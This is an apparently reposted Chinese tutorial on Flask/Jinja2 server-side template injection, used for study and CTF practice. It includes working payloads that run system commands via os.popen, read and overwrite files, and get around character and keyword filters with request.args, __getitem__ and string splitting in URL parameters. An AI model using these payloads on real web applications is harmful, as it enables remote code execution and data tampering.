Flask SSTI漏洞介绍及利用

article/2025/10/10 4:39:14

1.ssti成因

flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。

2.使用render_template()渲染页面时不存在注入漏洞。

对传入的参数不会执行运算,只会进行显示。

3.使用render_template_string()渲染页面时存在注入漏洞。

render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把 {{xxx}} 包裹的xxx内容当做变量解析替换。

第15行{}用于显示输出变量。

执行了2*2的运算,发生了注入。

4.flask基础知识及SSTI漏洞利用

所有的子类都有一个共同的父类object,如果没指定继承,默认父类是object

1.__class__:返回当前类(输入abc,是字符串类,除此以外还有元组类(),字典类{},列表类[]等。

下面所有案例中'123','abc'都可以换成任意'字符'或[],{},()等

2.__mor__:返回解析函数时,类的调用顺序,本例先调用str类,再调用object类,通过索引的方式__mor__[1],就可返回object类

3.当然还可以通过__base__:返回当前类父类(以字符串的形式)或者__bases__以元组的形式返回所有父类(元组可通过索引访问)

print('abc'.__class__.__bases__[0])

print('abc'.__class__.__base__)这两者一样

4.__subclasses__():返回当前类所有的子类,可通过索引的方式定位某一个子类

5.通过len()可以查看其长度,我们需要可以进行系统命令的os._wrap_close类。

于是我们需要定位该类,我们可以通过如下代码进行定位,不同的python版本,位置可能不同,我的版本是3.9,该类的位置在134。

这里不能把前面print('abc'.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__['popen'])注释掉,不然会如下图所示。

这里必须加try/except处理报错。之后就能找到os._wrap_close类的位置。

当然也可以引入os模块,快速进行定位。

6.接下来,就可以继续往下__init__(初始化方法),再通过__globals__(访问全局变量,字典),通过popen,以及read方法来进行系统命令执行(比如执行ipconfig) 。

注:os.popen() 方法用于从一个命令打开一个管道。

7.还可以利用__builtins__下的open进行文件的读取:代码如下

print('abc'.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())

或print('abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())

二者一样是因为__mor__[1]和__base__都能返回object类

8.我们还可以通过写入的方式修改文件内容

print('abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt','w').write('hello'))

原来1.txt里面的内容是1111111111111,现在修改为hello

9.一些ctf比赛技巧

(1)如果[]索引被过滤,可以用__getitem__ ()或者get方法来进行替换

print('abc'.__class__.__base__.__subclasses__().__getitem__(134))

即将[134]替换为__getitem__(134)

print('abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get('popen')('dir').read())

即将['open']替换为get('popen')

(2)如果引号被过滤可以采用以下方式在url中实现

?key={{'abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir

注:format(request.args.key)写法和format(request.args.get('key'))作用相同

(3)如果关键字被过滤,可以通过__getattribute__('__'+'cla'+'ss'+'__')类似的手法进行绕过

?key={{'abc'.__getattribute__('__'+'cla'+'ss'+'__').__base__.__subclasses__().__getitem__(134).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir

ssti知识点汇总

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。
request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)
config      当前application的所有配置。
此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

文章参考链接:

(23条消息) flask模板注入(ssti),一篇就够了_伤心的小尾巴的博客-CSDN博客_flask sstiicon-default.png?t=M85Bhttps://blog.csdn.net/qq_59950255/article/details/123215817(23条消息) SSTI知识点与题型_zbbjya的博客-CSDN博客_ssti 引号被过滤icon-default.png?t=M85Bhttps://blog.csdn.net/zbbjya/article/details/124185476


http://chatgpt.dhexx.cn/article/GH9vf4GY.shtml

相关文章

ssti小总结

漏洞简介 SSTI即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成XSS,任意文件读取,代码执行等一系列问题. 1. 几种常用于ssti的魔术方法 __class__ 返回类型所属的对象 __mro__ 返回一个…

SSTI---总结

Laravel Blade是Laravel提供的一个既简单又强大的模板引擎 和其他流行的PHP模板引擎不一样,Blade并不限制你在视图view中使用原生的PHP代码 所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来,除非你的的模板文件修改,否则不会重新编…

SSTI入门详解

文章目录 关于基于flask的SSTI漏洞的阶段学习小结:SSTI的理解:SSTI引发的真正原因:render_template渲染函数是什么:render_template:注入的思想:playload 娓娓道来:魔术对象:用魔术对…

SSTI完全学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI…

SSTI简单总结和例题

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、SSTI是什么? 二、关于Python的类 1、__class__类 2、__bases__ 3、__subclasses__ 4、还用到过的一些类 三、SSTI漏洞的简单复现 四、CTF…

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入(Server-Side Template Injection) ​ 当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入…

SSTI基础学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。SSTI也是…

SSTI模板注入总结

文章目录 一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结(转载)5、常见过滤器(转载) 四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1[Bugku]Simple_SSTI_2 一、初识SSTI 1…

推荐一款数据分析软件DataLab

1月6日,科学数据中心软件栈正式发布数据分析软件DataLab v1.0.0,成为软件栈家族的第8名成员。 DataLab致力于提供领域可定制的科学数据软件分析框架,集成通用的科学数据处理组件和存算环境的一体化管理与调度,各科学数据中心/科研…

做数据分析,软件工具少不了,好用的数据分析软件工具

​大数据属于广泛性的术语,多指庞大而复杂的数据集等,他们需要专门设计的工具来进行处理。这些数据集收集自各种各样的来源:公开的信息等,如杂志,报纸,文章。大数据生成的其他例子包括购买交易记录&#xf…

2020十大最佳大数据分析工具

作者:Sunita Chauhan 转自:InfoQ https://www.infoq.cn/article/IEIa8zX2s0KpLYi34ocE 营销的基本原理是一致的,每个人都喜欢洞察力,因为这些数字模式可以提供最安全的方法来确保企业采取正确的行动,更有效地运作&…

【数据分析】33个热门数据分析软件,你都用过哪些?

最近有一位小伙伴问我,做数据岗该学习哪些软件,我想了想扔给他33个软件 数据分析工具类软件,大体可以分为以下5类: Excel生态工具、数理统计工具、BI工具、数据库工具、编程工具 (Excel单独分成一类,主要是…

python数据分析用什么软件

Python是数据处理常用工具,可以处理数量级从几K至几T不等的数据,具有较高的开发效率和可维护性,还具有较强的通用性和跨平台性,这里就为大家分享几个不错的数据分析工具。 Python数据分析需要安装的第三方扩展库有:Num…

4大热门数据分析软件怎么选?看这篇就够了

有时候我们发现,技术和工具并不是核心要素,基于客户需求体验的产品设计和专业工程实施能力才是关键。大部分优秀的数据工具产品,也是胜在对数据的理解和治理的方法论上,赋以相应的工具,让能力加特。 机器学习、人工智…

盘点2021年10个顶级数据分析软件,及优缺点对比

1、Tableau公司 关键见解:即使在市场领导者中,Tableau公司也是数据分析软件市场上的顶级供应商。该公司于2019年被Salesforce公司收购。 该公司的数据分析平台以收集多个数据输入而闻名,允许用户将它们组合在一起,然后提供仪表板…

分析数据的软件有哪些?这几款数据分析软件不用会后悔

数据分析软件种类繁多,使用难度、场景、效率不一。日常的数据分析,Excel就能满足大部分需求,不过在数据量越来越大、维度越来越多、分析越来越复杂的今天,仅靠Excel解决也不现实,不过不用担心,市面上可分析…

六款超好用的大数据分析工具

一、大数据分析工具——Hadoop Hadoop是一个能够对大量数据进行分布式处理的软件框架。但是Hadoop是以一种可靠、高效、可伸缩的方式进行处理的。Hadoop是可靠的,因为它假设计算元素和存储会失败,因此它维护多个工作数据副本,确保能够针对失…

常见的数据分析工具有哪些?

众所周知,大数据是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合。它的含义十分广泛,并庞大复杂,需要有专门设计的硬件和软件工具来进行数据处理和分析。下面给大家推荐几款常见好用的数据分析工具,以供参…

30款常用的大数据分析工具推荐(最新)

数据挖掘和数据分析的能力在当今时代相当重要, 智能的工具是你与竞争对手对抗并为公司业务增加优势的必备条件。我列出了30个最热门的大数据工具,供大家参考。 Part 1:数据采集工具 Part 2:开源数据工具 Part 3:数据可视化 Part 4:情感分析 Part 5:开…

目前流行的数据分析软件有哪些?

企业信息化建设,大量的数据需要经过分析才能挖掘价值。因此数据的价值越来越受到大家的重视,大数据分析软件逐渐成为企业运营必不可少的辅助工具。俗话说工人要想做好事,首先要磨利工具,拥有一个好用的大数据分析软件尤为重要&…